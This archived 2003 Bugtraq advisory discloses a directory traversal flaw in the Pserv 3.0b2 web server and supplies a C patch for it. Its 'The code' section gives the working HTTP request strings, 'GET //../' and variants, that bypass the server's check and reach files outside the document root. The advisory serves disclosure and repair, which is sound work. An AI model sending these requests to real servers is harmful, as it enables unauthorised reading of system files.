directory traversal bug in Pserv 3.0b2

From: Donato Ferrante (fdonato_at_autistici.org)
Date: 12/24/03

  • Next message: Bugtraq Security Systems: "Bugtraq Security Systems ADV-0001"
    Date: Wed, 24 Dec 2003 17:31:21 +0100
    To: bugtraq@securityfocus.com
    
    

                               Donato Ferrante

    Application: PSERV - the small web server
                  http://sourceforge.net/projects/pserv

    Version: 3.0 beta 2

    Bug: directory traversal bug

    Author: Donato Ferrante
                  e-mail: fdonato@autistici.org
                  web: www.autistici.org/fdonato

    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    1. Description
    2. The bug
    3. The code
    4. The patch

    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    ----------------
    1. Description:
    ----------------

    Vendor's Description:

    "The aim of pServ (pico Server) is to create a portable, small
    webserver.
    Coded in portable C with Unix being the main reference platform, but
    porting is encouraged. Portability and small footprint should enable
    the use of pServ on a workstation as well as."

    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    ------------
    2. The bug:
    ------------

    The program, by default, has an anti-directory traversal check, but
    this check can be easily bypassed using the double slash ("//") into
    the http requests.

    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    -------------
    3. The code:
    -------------

    To test the pserv's vulnerability simply send to the webserver an http
    request string, like that:

                         "GET //../ HTTP/1.0\r\n\r\n"

    or generally:

                        GET //../MY_PATH HTTP/1.0\r\n\r\n
                        GET /SOME_DIRECTORY//..//../ HTTP/1.0\r\n\r\n
                            
    so the webserver will allow you to go out of the documentsPath
    assigned to the webserver, and navigate through the system.

    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    --------------
    4. The patch:
    --------------

    To fix the bug simply go on the pserv's official website,
    http://sourceforge.net/projects/pserv, and download the latest version
    of pserv (see also in CVS).

    Or, if you want, you can use my following little patch, that should fix
    the bug for the version 3.0b2 of Pserv:

    --- main.c 2003-09-22 10:39:24.000000000 +0200
    +++ patch.c 2003-12-19 12:40:47.000000000 +0100
    @@ -455,6 +455,11 @@
                         dirName[1] = req.documentAddress[2];
                         dirName[2] = req.documentAddress[3];
                         dirName[3] ='\0';
    + if (dirName[0] == '/')
    + {
    + sayError(sock, FORBIDDEN, req.documentAddress, req);
    + return -1;
    + }
                         if (!strcmp(dirName, "../"))
                         {
                             sayError(sock, FORBIDDEN, req.documentAddress, req);
    @@ -462,6 +467,15 @@
                         }
                     }
                     j = 0;
    + for(i = 1; i < sL; i++) {
    + if(req.documentAddress[i] == '/')
    + if(req.documentAddress[i+1] == '/')
    + {
    + sayError(sock, FORBIDDEN, req.documentAddress, req);
    + return -1;
    + }
    +
    + }
                     for (i = 1; i < sL; i++) {
                         if (req.documentAddress[i] == '/')
                         {

    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


  • Next message: Bugtraq Security Systems: "Bugtraq Security Systems ADV-0001"

    Relevant Pages

    • Weekly Python Patch/Bug Summary
      ... Patch / Bug Summary ... http://python.org/sf/606098 closed by rhettinger ... http://python.org/sf/1088716 closed by loewis ...
      (comp.lang.python)
    • [Full-Disclosure] RE: [kinda-but-not-really-Full-Disclosure-so-we-feel-warm-and-fuzzy] Re: <to va
      ... Because it must be realised that as soon as a patch and or advisory is ... there are global teams of people working to discover and exploit said bug. ... quiet and MS just released patches for 'undisclosed' problems... ... > engineer a ms patch to find the changed code and produce a working ...
      (Full-Disclosure)
    • RE: Mailslot bug (MS06-035) vs non-Mailslot bug (CVE-2006-3942)
      ... made patch for SRV.SYS. ... vulnerabilities that everyone is so afraid to talk about. ... the mailslot bug, and they didn't have any technical details to turn to, ... So keep on truckin Core Security, Michal Zalewski, and even ...
      (Bugtraq)
    • Re: Cant take skilled talent?
      ... least playing an easier version of the game than everyone else has. ... mind changing or removing the patch if TB emailed me about it. ... -fixing skilled bug is good ... The patch simply stops the monsters from growing too powerful compared to the ...
      (rec.games.roguelike.adom)
    • RE: Excel 2007 multiplication bug - and more...
      ... this patch was not bundled with the "essential" ... and probably since the inception of Excel. ... I was not previously aware of any number in this set whose incorrect display ... was off by more than 1 in the 15th digit; as a result, fixing this bug has ...
      (microsoft.public.excel.misc)